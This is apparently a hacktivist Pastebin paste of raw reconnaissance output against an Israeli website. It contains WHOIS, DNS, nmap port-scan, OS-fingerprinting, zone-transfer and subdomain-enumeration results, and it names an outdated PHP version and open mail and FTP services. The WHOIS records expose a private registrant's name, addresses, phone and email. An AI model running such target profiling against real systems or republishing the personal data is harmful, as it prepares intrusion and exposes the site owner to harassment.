API tools faq
paste
Advertisement
Guest User

Anonymous Operation IsraelUSA JTSEC full recon #9

a guest
Dec 16th, 2017
1,880
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 116.01 KB | None | 0 0
raw download clone embed print report
  1.  
  2. #######################################################################################################################################
  3. Nom de l'hôte www.askezra.co.il FAI 012 Smile Communications LTD. (AS9116)
  4. Continent Asie Drapeau
  5. IL
  6. Pays Israël Code du pays IL (ISR)
  7. Région Inconnu Heure locale 16 Dec 2017 18:43 IST
  8. Ville Inconnu Latitude 31.5
  9. Adresse IP 62.128.52.211 Longitude 34.75
  10. ######################################################################################################################################
  11. [i] Scanning Site: http://askezra.co.il
  12.  
  13.  
  14.  
  15. B A S I C I N F O
  16. ====================
  17.  
  18.  
  19. [+] Site Title:
  20. [+] IP address: 62.128.52.211
  21. [+] Web Server: nginx
  22. [+] CMS: Could Not Detect
  23. [+] Cloudflare: Not Detected
  24. [+] Robots File: Found
  25.  
  26. -------------[ contents ]----------------
  27. User-agent: *
  28. Allow: /
  29.  
  30.  
  31. -----------[end of contents]-------------
  32.  
  33.  
  34.  
  35. W H O I S L O O K U P
  36. ========================
  37.  
  38.  
  39. % The data in the WHOIS database of the .il registry is provided
  40. % by ISOC-IL for information purposes, and to assist persons in
  41. % obtaining information about or related to a domain name
  42. % registration record. ISOC-IL does not guarantee its accuracy.
  43. % By submitting a WHOIS query, you agree that you will use this
  44. % Data only for lawful purposes and that, under no circumstances
  45. % will you use this Data to: (1) allow, enable, or otherwise
  46. % support the transmission of mass unsolicited, commercial
  47. % advertising or solicitations via e-mail (spam);
  48. % or (2) enable high volume, automated, electronic processes that
  49. % apply to ISOC-IL (or its systems).
  50. % ISOC-IL reserves the right to modify these terms at any time.
  51. % By submitting this query, you agree to abide by this policy.
  52.  
  53. query: askezra.co.il
  54.  
  55. reg-name: askezra
  56. domain: askezra.co.il
  57.  
  58. descr: Chava Weberman
  59. descr: Hapoel Hatzair 18
  60. descr: Givataim
  61. descr: 53211
  62. descr: Israel
  63. phone: +972 52 8812679
  64. e-mail: evaweberman AT gmail.com
  65. admin-c: LD-CW3482-IL
  66. tech-c: LD-CW3482-IL
  67. zone-c: LD-CW3482-IL
  68. nserver: park1.livedns.co.il
  69. nserver: park2.livedns.co.il
  70. validity: 22-12-2018
  71. DNSSEC: unsigned
  72. status: Transfer Locked
  73. changed: domain-registrar AT isoc.org.il 20081222 (Assigned)
  74.  
  75. person: Chava Weberman
  76. address: Haklarnit 10
  77. address: Rishon Letzion
  78. address: 75571
  79. address: Israel
  80. phone: +972 52 8812679
  81. e-mail: evaweberman AT gmail.com
  82. nic-hdl: LD-CW3482-IL
  83. changed: Managing Registrar 20070701
  84. changed: Managing Registrar 20110612
  85.  
  86. registrar name: LiveDns Ltd
  87. registrar info: http://domains.livedns.co.il
  88.  
  89. % Rights to the data above are restricted by copyright.
  90.  
  91.  
  92.  
  93.  
  94. G E O I P L O O K U P
  95. =========================
  96.  
  97. [i] IP Address: 62.128.52.211
  98. [i] Country: IL
  99. [i] State: HaMerkaz
  100. [i] City: Yavne
  101. [i] Latitude: 31.815599
  102. [i] Longitude: 34.720798
  103.  
  104.  
  105.  
  106.  
  107. H T T P H E A D E R S
  108. =======================
  109.  
  110.  
  111. [i] HTTP/1.1 302 Moved Temporarily
  112. [i] Server: nginx
  113. [i] Date: Sat, 16 Dec 2017 16:58:46 GMT
  114. [i] Content-Type: text/html
  115. [i] Content-Length: 154
  116. [i] Connection: close
  117. [i] Set-Cookie: SPDTC=f6b06a6df03894ef816b8933c97e95c9; path=/
  118. [i] P3P: CP="CUR ADM OUR NOR STA NID", policyref="/w3c/p3p.xml"
  119. [i] Location: http://askezra.co.il/
  120. [i] X-Rocket-Nginx-Bypass: No
  121. [i] HTTP/1.1 302 Moved Temporarily
  122. [i] Server: nginx
  123. [i] Date: Sat, 16 Dec 2017 16:58:55 GMT
  124. [i] Content-Type: text/html
  125. [i] Content-Length: 154
  126. [i] Connection: close
  127. [i] Set-Cookie: SPDTC=f6b06a6df03894ef816b8933c97e95c9; path=/
  128. [i] P3P: CP="CUR ADM OUR NOR STA NID", policyref="/w3c/p3p.xml"
  129. [i] Location: http://askezra.co.il/
  130. [i] X-Rocket-Nginx-Bypass: No
  131. [i] HTTP/1.1 302 Moved Temporarily
  132. [i] Server: nginx
  133. [i] Date: Sat, 16 Dec 2017 16:59:03 GMT
  134. [i] Content-Type: text/html
  135. [i] Content-Length: 154
  136. [i] Connection: close
  137. [i] Set-Cookie: SPDTC=f6b06a6df03894ef816b8933c97e95c9; path=/
  138. [i] P3P: CP="CUR ADM OUR NOR STA NID", policyref="/w3c/p3p.xml"
  139. [i] Location: http://askezra.co.il/
  140. [i] X-Rocket-Nginx-Bypass: No
  141. [i] HTTP/1.1 302 Moved Temporarily
  142. [i] Server: nginx
  143. [i] Date: Sat, 16 Dec 2017 16:59:12 GMT
  144. [i] Content-Type: text/html
  145. [i] Content-Length: 154
  146. [i] Connection: close
  147. [i] Set-Cookie: SPDTC=f6b06a6df03894ef816b8933c97e95c9; path=/
  148. [i] P3P: CP="CUR ADM OUR NOR STA NID", policyref="/w3c/p3p.xml"
  149. [i] Location: http://askezra.co.il/
  150. [i] X-Rocket-Nginx-Bypass: No
  151. [i] HTTP/1.1 302 Moved Temporarily
  152. [i] Server: nginx
  153. [i] Date: Sat, 16 Dec 2017 16:59:20 GMT
  154. [i] Content-Type: text/html
  155. [i] Content-Length: 154
  156. [i] Connection: close
  157. [i] Set-Cookie: SPDTC=f6b06a6df03894ef816b8933c97e95c9; path=/
  158. [i] P3P: CP="CUR ADM OUR NOR STA NID", policyref="/w3c/p3p.xml"
  159. [i] Location: http://askezra.co.il/
  160. [i] X-Rocket-Nginx-Bypass: No
  161. [i] HTTP/1.1 302 Moved Temporarily
  162. [i] Server: nginx
  163. [i] Date: Sat, 16 Dec 2017 16:59:29 GMT
  164. [i] Content-Type: text/html
  165. [i] Content-Length: 154
  166. [i] Connection: close
  167. [i] Set-Cookie: SPDTC=f6b06a6df03894ef816b8933c97e95c9; path=/
  168. [i] P3P: CP="CUR ADM OUR NOR STA NID", policyref="/w3c/p3p.xml"
  169. [i] Location: http://askezra.co.il/
  170. [i] X-Rocket-Nginx-Bypass: No
  171. [i] HTTP/1.1 302 Moved Temporarily
  172. [i] Server: nginx
  173. [i] Date: Sat, 16 Dec 2017 16:59:37 GMT
  174. [i] Content-Type: text/html
  175. [i] Content-Length: 154
  176. [i] Connection: close
  177. [i] Set-Cookie: SPDTC=f6b06a6df03894ef816b8933c97e95c9; path=/
  178. [i] P3P: CP="CUR ADM OUR NOR STA NID", policyref="/w3c/p3p.xml"
  179. [i] Location: http://askezra.co.il/
  180. [i] X-Rocket-Nginx-Bypass: No
  181. [i] HTTP/1.1 302 Moved Temporarily
  182. [i] Server: nginx
  183. [i] Date: Sat, 16 Dec 2017 16:59:46 GMT
  184. [i] Content-Type: text/html
  185. [i] Content-Length: 154
  186. [i] Connection: close
  187. [i] Set-Cookie: SPDTC=f6b06a6df03894ef816b8933c97e95c9; path=/
  188. [i] P3P: CP="CUR ADM OUR NOR STA NID", policyref="/w3c/p3p.xml"
  189. [i] Location: http://askezra.co.il/
  190. [i] X-Rocket-Nginx-Bypass: No
  191. [i] HTTP/1.1 302 Moved Temporarily
  192. [i] Server: nginx
  193. [i] Date: Sat, 16 Dec 2017 16:59:55 GMT
  194. [i] Content-Type: text/html
  195. [i] Content-Length: 154
  196. [i] Connection: close
  197. [i] Set-Cookie: SPDTC=f6b06a6df03894ef816b8933c97e95c9; path=/
  198. [i] P3P: CP="CUR ADM OUR NOR STA NID", policyref="/w3c/p3p.xml"
  199. [i] Location: http://askezra.co.il/
  200. [i] X-Rocket-Nginx-Bypass: No
  201. [i] HTTP/1.1 302 Moved Temporarily
  202. [i] Server: nginx
  203. [i] Date: Sat, 16 Dec 2017 17:00:03 GMT
  204. [i] Content-Type: text/html
  205. [i] Content-Length: 154
  206. [i] Connection: close
  207. [i] Set-Cookie: SPDTC=f6b06a6df03894ef816b8933c97e95c9; path=/
  208. [i] P3P: CP="CUR ADM OUR NOR STA NID", policyref="/w3c/p3p.xml"
  209. [i] Location: http://askezra.co.il/
  210. [i] X-Rocket-Nginx-Bypass: No
  211. [i] HTTP/1.1 302 Moved Temporarily
  212. [i] Server: nginx
  213. [i] Date: Sat, 16 Dec 2017 17:00:12 GMT
  214. [i] Content-Type: text/html
  215. [i] Content-Length: 154
  216. [i] Connection: close
  217. [i] Set-Cookie: SPDTC=f6b06a6df03894ef816b8933c97e95c9; path=/
  218. [i] P3P: CP="CUR ADM OUR NOR STA NID", policyref="/w3c/p3p.xml"
  219. [i] Location: http://askezra.co.il/
  220. [i] X-Rocket-Nginx-Bypass: No
  221. [i] HTTP/1.1 302 Moved Temporarily
  222. [i] Server: nginx
  223. [i] Date: Sat, 16 Dec 2017 17:00:20 GMT
  224. [i] Content-Type: text/html
  225. [i] Content-Length: 154
  226. [i] Connection: close
  227. [i] Set-Cookie: SPDTC=f6b06a6df03894ef816b8933c97e95c9; path=/
  228. [i] P3P: CP="CUR ADM OUR NOR STA NID", policyref="/w3c/p3p.xml"
  229. [i] Location: http://askezra.co.il/
  230. [i] X-Rocket-Nginx-Bypass: No
  231. [i] HTTP/1.1 302 Moved Temporarily
  232. [i] Server: nginx
  233. [i] Date: Sat, 16 Dec 2017 17:00:29 GMT
  234. [i] Content-Type: text/html
  235. [i] Content-Length: 154
  236. [i] Connection: close
  237. [i] Set-Cookie: SPDTC=f6b06a6df03894ef816b8933c97e95c9; path=/
  238. [i] P3P: CP="CUR ADM OUR NOR STA NID", policyref="/w3c/p3p.xml"
  239. [i] Location: http://askezra.co.il/
  240. [i] X-Rocket-Nginx-Bypass: No
  241. [i] HTTP/1.1 302 Moved Temporarily
  242. [i] Server: nginx
  243. [i] Date: Sat, 16 Dec 2017 17:00:37 GMT
  244. [i] Content-Type: text/html
  245. [i] Content-Length: 154
  246. [i] Connection: close
  247. [i] Set-Cookie: SPDTC=f6b06a6df03894ef816b8933c97e95c9; path=/
  248. [i] P3P: CP="CUR ADM OUR NOR STA NID", policyref="/w3c/p3p.xml"
  249. [i] Location: http://askezra.co.il/
  250. [i] X-Rocket-Nginx-Bypass: No
  251. [i] HTTP/1.1 302 Moved Temporarily
  252. [i] Server: nginx
  253. [i] Date: Sat, 16 Dec 2017 17:00:46 GMT
  254. [i] Content-Type: text/html
  255. [i] Content-Length: 154
  256. [i] Connection: close
  257. [i] Set-Cookie: SPDTC=f6b06a6df03894ef816b8933c97e95c9; path=/
  258. [i] P3P: CP="CUR ADM OUR NOR STA NID", policyref="/w3c/p3p.xml"
  259. [i] Location: http://askezra.co.il/
  260. [i] X-Rocket-Nginx-Bypass: No
  261. [i] HTTP/1.1 302 Moved Temporarily
  262. [i] Server: nginx
  263. [i] Date: Sat, 16 Dec 2017 17:00:54 GMT
  264. [i] Content-Type: text/html
  265. [i] Content-Length: 154
  266. [i] Connection: close
  267. [i] Set-Cookie: SPDTC=f6b06a6df03894ef816b8933c97e95c9; path=/
  268. [i] P3P: CP="CUR ADM OUR NOR STA NID", policyref="/w3c/p3p.xml"
  269. [i] Location: http://askezra.co.il/
  270. [i] X-Rocket-Nginx-Bypass: No
  271. [i] HTTP/1.1 302 Moved Temporarily
  272. [i] Server: nginx
  273. [i] Date: Sat, 16 Dec 2017 17:01:03 GMT
  274. [i] Content-Type: text/html
  275. [i] Content-Length: 154
  276. [i] Connection: close
  277. [i] Set-Cookie: SPDTC=f6b06a6df03894ef816b8933c97e95c9; path=/
  278. [i] P3P: CP="CUR ADM OUR NOR STA NID", policyref="/w3c/p3p.xml"
  279. [i] Location: http://askezra.co.il/
  280. [i] X-Rocket-Nginx-Bypass: No
  281. [i] HTTP/1.1 302 Moved Temporarily
  282. [i] Server: nginx
  283. [i] Date: Sat, 16 Dec 2017 17:01:11 GMT
  284. [i] Content-Type: text/html
  285. [i] Content-Length: 154
  286. [i] Connection: close
  287. [i] Set-Cookie: SPDTC=f6b06a6df03894ef816b8933c97e95c9; path=/
  288. [i] P3P: CP="CUR ADM OUR NOR STA NID", policyref="/w3c/p3p.xml"
  289. [i] Location: http://askezra.co.il/
  290. [i] X-Rocket-Nginx-Bypass: No
  291. [i] HTTP/1.1 302 Moved Temporarily
  292. [i] Server: nginx
  293. [i] Date: Sat, 16 Dec 2017 17:01:20 GMT
  294. [i] Content-Type: text/html
  295. [i] Content-Length: 154
  296. [i] Connection: close
  297. [i] Set-Cookie: SPDTC=f6b06a6df03894ef816b8933c97e95c9; path=/
  298. [i] P3P: CP="CUR ADM OUR NOR STA NID", policyref="/w3c/p3p.xml"
  299. [i] Location: http://askezra.co.il/
  300. [i] X-Rocket-Nginx-Bypass: No
  301. [i] HTTP/1.1 302 Moved Temporarily
  302. [i] Server: nginx
  303. [i] Date: Sat, 16 Dec 2017 17:01:28 GMT
  304. [i] Content-Type: text/html
  305. [i] Content-Length: 154
  306. [i] Connection: close
  307. [i] Set-Cookie: SPDTC=f6b06a6df03894ef816b8933c97e95c9; path=/
  308. [i] P3P: CP="CUR ADM OUR NOR STA NID", policyref="/w3c/p3p.xml"
  309. [i] Location: http://askezra.co.il/
  310. [i] X-Rocket-Nginx-Bypass: No
  311.  
  312.  
  313.  
  314.  
  315. D N S L O O K U P
  316. ===================
  317.  
  318. askezra.co.il. 14399 IN SOA park1.livedns.co.il. hostmaster.askezra.co.il. 2008122506 3600 600 1209600 14400
  319. askezra.co.il. 14399 IN NS park2.livedns.co.il.
  320. askezra.co.il. 14399 IN NS park1.livedns.co.il.
  321. askezra.co.il. 14399 IN MX 30 ASPMX3.GOOGLEMAIL.COM.
  322. askezra.co.il. 14399 IN MX 30 ASPMX4.GOOGLEMAIL.COM.
  323. askezra.co.il. 14399 IN MX 30 ASPMX5.GOOGLEMAIL.COM.
  324. askezra.co.il. 14399 IN MX 10 ASPMX.L.GOOGLE.COM.
  325. askezra.co.il. 14399 IN MX 20 ALT1.ASPMX.L.GOOGLE.COM.
  326. askezra.co.il. 14399 IN MX 20 ALT2.ASPMX.L.GOOGLE.COM.
  327. askezra.co.il. 14399 IN MX 30 ASPMX2.GOOGLEMAIL.COM.
  328. askezra.co.il. 14399 IN A 62.128.52.211
  329.  
  330.  
  331.  
  332.  
  333. S U B N E T C A L C U L A T I O N
  334. ====================================
  335.  
  336. Address = 62.128.52.211
  337. Network = 62.128.52.211 / 32
  338. Netmask = 255.255.255.255
  339. Broadcast = not needed on Point-to-Point links
  340. Wildcard Mask = 0.0.0.0
  341. Hosts Bits = 0
  342. Max. Hosts = 1 (2^0 - 0)
  343. Host Range = { 62.128.52.211 - 62.128.52.211 }
  344.  
  345.  
  346.  
  347. N M A P P O R T S C A N
  348. ============================
  349.  
  350.  
  351. Starting Nmap 7.01 ( https://nmap.org ) at 2017-12-16 17:01 UTC
  352. Nmap scan report for askezra.co.il (62.128.52.211)
  353. Host is up (0.14s latency).
  354. rDNS record for 62.128.52.211: rosh.spd.co.il
  355. PORT STATE SERVICE VERSION
  356. 21/tcp open ftp ProFTPD
  357. 22/tcp filtered ssh
  358. 23/tcp filtered telnet
  359. 25/tcp open smtp Exim smtpd
  360. 80/tcp open http nginx
  361. 110/tcp open pop3 Dovecot DirectAdmin pop3d
  362. 143/tcp open imap Dovecot imapd
  363. 443/tcp open ssl/http nginx
  364. 445/tcp filtered microsoft-ds
  365. 3389/tcp filtered ms-wbt-server
  366.  
  367. Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  368. Nmap done: 1 IP address (1 host up) scanned in 16.61 seconds
  369.  
  370. [!] IP Address : 62.128.52.211
  371. [!] Server: nginx
  372. [!] Powered By: PHP/5.2.17
  373. [-] Clickjacking protection is not in place.
  374. [+] Operating System : Windows
  375. [!] www.askezra.co.il doesn't seem to use a CMS
  376. [+] Honeypot Probabilty: 30%
  377. ----------------------------------------
  378. PORT STATE SERVICE VERSION
  379. 21/tcp open ftp ProFTPD
  380. 22/tcp filtered ssh
  381. 23/tcp filtered telnet
  382. 25/tcp open smtp Exim smtpd
  383. 80/tcp open http nginx
  384. 110/tcp open pop3 Dovecot DirectAdmin pop3d
  385. 143/tcp open imap Dovecot imapd
  386. 443/tcp open ssl/http nginx
  387. 445/tcp filtered microsoft-ds
  388. 3389/tcp filtered ms-wbt-server
  389. ----------------------------------------
  390.  
  391. [+] DNS Records
  392.  
  393. [+] Host Records (A)
  394. www.askezra.co.ilHTTP: (rosh.spd.co.il) (62.128.52.211) AS9116 012 Smile Communications LTD. Israel
  395.  
  396. [+] TXT Records
  397.  
  398. [+] DNS Map: https://dnsdumpster.com/static/map/www.askezra.co.il.png
  399.  
  400. [>] Initiating 3 intel modules
  401. [>] Loading Alpha module (1/3)
  402. [>] Beta module deployed (2/3)
  403. [>] Gamma module initiated (3/3)
  404. No emails found
  405. No hosts found
  406. [+] Virtual hosts:
  407. -----------------
  408. [>] Crawling the target for fuzzable URLs
  409.  
  410. [92m + -- ----------------------------=[Running Nslookup]=------------------------ -- +
  411. Server: 2001:568:ff09:10c::53
  412. Address: 2001:568:ff09:10c::53#53
  413.  
  414. Non-authoritative answer:
  415. Name: askezra.co.il
  416. Address: 62.128.52.211
  417.  
  418. askezra.co.il has address 62.128.52.211
  419. askezra.co.il mail is handled by 20 ALT2.ASPMX.L.GOOGLE.COM.
  420. askezra.co.il mail is handled by 10 ASPMX.L.GOOGLE.COM.
  421. askezra.co.il mail is handled by 30 ASPMX2.GOOGLEMAIL.COM.
  422. askezra.co.il mail is handled by 30 ASPMX5.GOOGLEMAIL.COM.
  423. askezra.co.il mail is handled by 30 ASPMX4.GOOGLEMAIL.COM.
  424. askezra.co.il mail is handled by 30 ASPMX3.GOOGLEMAIL.COM.
  425. askezra.co.il mail is handled by 20 ALT1.ASPMX.L.GOOGLE.COM.
  426.  + -- ----------------------------=[Checking OS Fingerprint]=----------------- -- +
  427.  
  428. Xprobe2 v.0.3 Copyright (c) 2002-2005 fyodor@o0o.nu, ofir@sys-security.com, meder@o0o.nu
  429.  
  430. [+] Target is askezra.co.il
  431. [+] Loading modules.
  432. [+] Following modules are loaded:
  433. [x] [1] ping:icmp_ping - ICMP echo discovery module
  434. [x] [2] ping:tcp_ping - TCP-based ping discovery module
  435. [x] [3] ping:udp_ping - UDP-based ping discovery module
  436. [x] [4] infogather:ttl_calc - TCP and UDP based TTL distance calculation
  437. [x] [5] infogather:portscan - TCP and UDP PortScanner
  438. [x] [6] fingerprint:icmp_echo - ICMP Echo request fingerprinting module
  439. [x] [7] fingerprint:icmp_tstamp - ICMP Timestamp request fingerprinting module
  440. [x] [8] fingerprint:icmp_amask - ICMP Address mask request fingerprinting module
  441. [x] [9] fingerprint:icmp_port_unreach - ICMP port unreachable fingerprinting module
  442. [x] [10] fingerprint:tcp_hshake - TCP Handshake fingerprinting module
  443. [x] [11] fingerprint:tcp_rst - TCP RST fingerprinting module
  444. [x] [12] fingerprint:smb - SMB fingerprinting module
  445. [x] [13] fingerprint:snmp - SNMPv2c fingerprinting module
  446. [+] 13 modules registered
  447. [+] Initializing scan engine
  448. [+] Running scan engine
  449. [-] ping:tcp_ping module: no closed/open TCP ports known on 62.128.52.211. Module test failed
  450. [-] ping:udp_ping module: no closed/open UDP ports known on 62.128.52.211. Module test failed
  451. [-] No distance calculation. 62.128.52.211 appears to be dead or no ports known
  452. [+] Host: 62.128.52.211 is up (Guess probability: 50%)
  453. [+] Target: 62.128.52.211 is alive. Round-Trip Time: 0.50370 sec
  454. [+] Selected safe Round-Trip Time value is: 1.00740 sec
  455. [-] fingerprint:tcp_hshake Module execution aborted (no open TCP ports known)
  456. [-] fingerprint:smb need either TCP port 139 or 445 to run
  457. [+] Primary guess:
  458. [+] Host 62.128.52.211 Running OS: (Guess probability: 91%)
  459. [+] Other guesses:
  460. [+] Host 62.128.52.211 Running OS: (Guess probability: 91%)
  461. [+] Host 62.128.52.211 Running OS: (Guess probability: 91%)
  462. [+] Host 62.128.52.211 Running OS: (Guess probability: 91%)
  463. [+] Host 62.128.52.211 Running OS: (Guess probability: 91%)
  464. [+] Host 62.128.52.211 Running OS: (Guess probability: 91%)
  465. [+] Host 62.128.52.211 Running OS: (Guess probability: 91%)
  466. [+] Host 62.128.52.211 Running OS: (Guess probability: 91%)
  467. [+] Host 62.128.52.211 Running OS: (Guess probability: 91%)
  468. [+] Host 62.128.52.211 Running OS: (Guess probability: 91%)
  469. [+] Cleaning up scan engine
  470. [+] Modules deinitialized
  471. [+] Execution completed.
  472.  + -- ----------------------------=[Gathering Whois Info]=-------------------- -- +
  473.  
  474. % The data in the WHOIS database of the .il registry is provided
  475. % by ISOC-IL for information purposes, and to assist persons in
  476. % obtaining information about or related to a domain name
  477. % registration record. ISOC-IL does not guarantee its accuracy.
  478. % By submitting a WHOIS query, you agree that you will use this
  479. % Data only for lawful purposes and that, under no circumstances
  480. % will you use this Data to: (1) allow, enable, or otherwise
  481. % support the transmission of mass unsolicited, commercial
  482. % advertising or solicitations via e-mail (spam);
  483. % or (2) enable high volume, automated, electronic processes that
  484. % apply to ISOC-IL (or its systems).
  485. % ISOC-IL reserves the right to modify these terms at any time.
  486. % By submitting this query, you agree to abide by this policy.
  487.  
  488. query: askezra.co.il
  489.  
  490. reg-name: askezra
  491. domain: askezra.co.il
  492.  
  493. descr: Chava Weberman
  494. descr: Hapoel Hatzair 18
  495. descr: Givataim
  496. descr: 53211
  497. descr: Israel
  498. phone: +972 52 8812679
  499. e-mail: evaweberman AT gmail.com
  500. admin-c: LD-CW3482-IL
  501. tech-c: LD-CW3482-IL
  502. zone-c: LD-CW3482-IL
  503. nserver: park1.livedns.co.il
  504. nserver: park2.livedns.co.il
  505. validity: 22-12-2018
  506. DNSSEC: unsigned
  507. status: Transfer Locked
  508. changed: domain-registrar AT isoc.org.il 20081222 (Assigned)
  509.  
  510. person: Chava Weberman
  511. address: Haklarnit 10
  512. address: Rishon Letzion
  513. address: 75571
  514. address: Israel
  515. phone: +972 52 8812679
  516. e-mail: evaweberman AT gmail.com
  517. nic-hdl: LD-CW3482-IL
  518. changed: Managing Registrar 20070701
  519. changed: Managing Registrar 20110612
  520.  
  521. registrar name: LiveDns Ltd
  522. registrar info: http://domains.livedns.co.il
  523.  
  524. % Rights to the data above are restricted by copyright.
  525.  + -- ----------------------------=[Gathering OSINT Info]=-------------------- -- +
  526.  
  527. *******************************************************************
  528. * *
  529. * | |_| |__ ___ /\ /\__ _ _ ____ _____ ___| |_ ___ _ __ *
  530. * | __| '_ \ / _ \ / /_/ / _` | '__\ \ / / _ \/ __| __/ _ \ '__| *
  531. * | |_| | | | __/ / __ / (_| | | \ V / __/\__ \ || __/ | *
  532. * \__|_| |_|\___| \/ /_/ \__,_|_| \_/ \___||___/\__\___|_| *
  533. * *
  534. * TheHarvester Ver. 2.7 *
  535. * Coded by Christian Martorella *
  536. * Edge-Security Research *
  537. * cmartorella@edge-security.com *
  538. *******************************************************************
  539.  
  540.  
  541. Full harvest..
  542. [-] Searching in Google..
  543. Searching 0 results...
  544. Searching 100 results...
  545. Searching 200 results...
  546. [-] Searching in PGP Key server..
  547. [-] Searching in Bing..
  548. Searching 50 results...
  549. Searching 100 results...
  550. Searching 150 results...
  551. Searching 200 results...
  552. [-] Searching in Exalead..
  553. Searching 50 results...
  554. Searching 100 results...
  555. Searching 150 results...
  556. Searching 200 results...
  557. Searching 250 results...
  558.  
  559.  
  560. [+] Emails found:
  561. ------------------
  562. No emails found
  563.  
  564. [+] Hosts found in search engines:
  565. ------------------------------------
  566. [-] Resolving hostnames IPs...
  567. 62.128.52.211:www.askezra.co.il
  568. [+] Virtual hosts:
  569. ==================
  570. 62.128.52.211 www.lapid-nadlan.co.il
  571. 62.128.52.211 www.annushka.co.il
  572. 62.128.52.211 www.flights2eilat.co.il
  573. 62.128.52.211 www.chocotop.co.il
  574. 62.128.52.211 www.edenseeds.co.il
  575. 62.128.52.211 www.sassonancientart
  576. 62.128.52.211 www.drorbamidbar.co.il
  577. 62.128.52.211 www.jti.co.il
  578. 62.128.52.211 www.askezra.co.il
  579.  
  580. ******************************************************
  581. * /\/\ ___| |_ __ _ __ _ ___ ___ / _(_) | *
  582. * / \ / _ \ __/ _` |/ _` |/ _ \ / _ \| |_| | | *
  583. * / /\/\ \ __/ || (_| | (_| | (_) | (_) | _| | | *
  584. * \/ \/\___|\__\__,_|\__, |\___/ \___/|_| |_|_| *
  585. * |___/ *
  586. * Metagoofil Ver 2.2 *
  587. * Christian Martorella *
  588. * Edge-Security.com *
  589. * cmartorella_at_edge-security.com *
  590. ******************************************************
  591.  
  592. [-] Starting online search...
  593.  
  594. [-] Searching for doc files, with a limit of 200
  595. Searching 100 results...
  596. Searching 200 results...
  597. Results: 0 files found
  598. Starting to download 50 of them:
  599. ----------------------------------------
  600.  
  601.  
  602. [-] Searching for pdf files, with a limit of 200
  603. Searching 100 results...
  604. Searching 200 results...
  605. Results: 0 files found
  606. Starting to download 50 of them:
  607. ----------------------------------------
  608.  
  609.  
  610. [-] Searching for xls files, with a limit of 200
  611. Searching 100 results...
  612. Searching 200 results...
  613. Results: 0 files found
  614. Starting to download 50 of them:
  615. ----------------------------------------
  616.  
  617.  
  618. [-] Searching for csv files, with a limit of 200
  619. Searching 100 results...
  620. Searching 200 results...
  621. Results: 0 files found
  622. Starting to download 50 of them:
  623. ----------------------------------------
  624.  
  625.  
  626. [-] Searching for txt files, with a limit of 200
  627. Searching 100 results...
  628. Searching 200 results...
  629. Results: 0 files found
  630. Starting to download 50 of them:
  631. ----------------------------------------
  632.  
  633. processing
  634. user
  635. email
  636.  
  637. [+] List of users found:
  638. --------------------------
  639.  
  640. [+] List of software found:
  641. -----------------------------
  642.  
  643. [+] List of paths and servers found:
  644. ---------------------------------------
  645.  
  646. [+] List of e-mails found:
  647. ----------------------------
  648.  + -- ----------------------------=[Gathering DNS Info]=---------------------- -- +
  649.  
  650. ; <<>> DiG 9.11.2-5-Debian <<>> -x askezra.co.il
  651. ;; global options: +cmd
  652. ;; Got answer:
  653. ;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 43727
  654. ;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1
  655.  
  656. ;; OPT PSEUDOSECTION:
  657. ; EDNS: version: 0, flags:; udp: 4096
  658. ;; QUESTION SECTION:
  659. ;il.co.askezra.in-addr.arpa. IN PTR
  660.  
  661. ;; AUTHORITY SECTION:
  662. in-addr.arpa. 3600 IN SOA b.in-addr-servers.arpa. nstld.iana.org. 2017102477 1800 900 604800 3600
  663.  
  664. ;; Query time: 473 msec
  665. ;; SERVER: 2001:568:ff09:10c::53#53(2001:568:ff09:10c::53)
  666. ;; WHEN: Sat Dec 16 13:44:45 EST 2017
  667. ;; MSG SIZE rcvd: 123
  668.  
  669. dnsenum VERSION:1.2.4
  670. 
  671. ----- askezra.co.il -----
  672. 
  673.  
  674. Host's addresses:
  675. __________________
  676.  
  677. askezra.co.il. 7261 IN A 62.128.52.211
  678. 
  679.  
  680. Name Servers:
  681. ______________
  682.  
  683. park1.livedns.co.il. 14395 IN A 62.219.78.217
  684. park2.livedns.co.il. 14392 IN A 185.60.169.2
  685. 
  686.  
  687. Mail (MX) Servers:
  688. ___________________
  689.  
  690. ASPMX.L.GOOGLE.COM. 293 IN A 209.85.201.27
  691. ASPMX2.GOOGLEMAIL.COM. 53 IN A 64.233.186.27
  692. ASPMX5.GOOGLEMAIL.COM. 293 IN A 173.194.79.26
  693. ASPMX4.GOOGLEMAIL.COM. 293 IN A 108.177.15.26
  694. ASPMX3.GOOGLEMAIL.COM. 49 IN A 209.85.202.26
  695. ALT1.ASPMX.L.GOOGLE.COM. 50 IN A 64.233.186.26
  696. ALT2.ASPMX.L.GOOGLE.COM. 42 IN A 209.85.202.27
  697. 
  698.  
  699. Trying Zone Transfers and getting Bind Versions:
  700. _________________________________________________
  701.  
  702. 
  703. Trying Zone Transfer for askezra.co.il on park1.livedns.co.il ...
  704.  
  705. Trying Zone Transfer for askezra.co.il on park2.livedns.co.il ...
  706.  
  707. brute force file not specified, bay.
  708.  + -- ----------------------------=[Gathering DNS Subdomains]=---------------- -- +
  709. 
  710. ____ _ _ _ _ _____
  711. / ___| _ _| |__ | (_)___| |_|___ / _ __
  712. \___ \| | | | '_ \| | / __| __| |_ \| '__|
  713. ___) | |_| | |_) | | \__ \ |_ ___) | |
  714. |____/ \__,_|_.__/|_|_|___/\__|____/|_|
  715.  
  716. # Coded By Ahmed Aboul-Ela - @aboul3la
  717.  
  718. [-] Enumerating subdomains now for askezra.co.il
  719. [-] verbosity is enabled, will show the subdomains results in realtime
  720. [-] Searching now in Baidu..
  721. [-] Searching now in Yahoo..
  722. [-] Searching now in Google..
  723. [-] Searching now in Bing..
  724. [-] Searching now in Ask..
  725. [-] Searching now in Netcraft..
  726. [-] Searching now in DNSdumpster..
  727. [-] Searching now in Virustotal..
  728. [-] Searching now in ThreatCrowd..
  729. [-] Searching now in SSL Certificates..
  730. [-] Searching now in PassiveDNS..
  731. Yahoo: www.askezra.co.il
  732. Virustotal: www.askezra.co.il
  733. [-] Saving results to file: /usr/share/sniper/loot/domains/domains-askezra.co.il.txt
  734. [-] Total Unique Subdomains Found: 1
  735. www.askezra.co.il
  736.  
  737.  ╔═╗╦═╗╔╦╗╔═╗╦ ╦
  738.  ║ ╠╦╝ ║ ╚═╗╠═╣
  739.  ╚═╝╩╚═ ╩o╚═╝╩ ╩
  740.  + -- ----------------------------=[Gathering Certificate Subdomains]=-------- -- +
  741. 
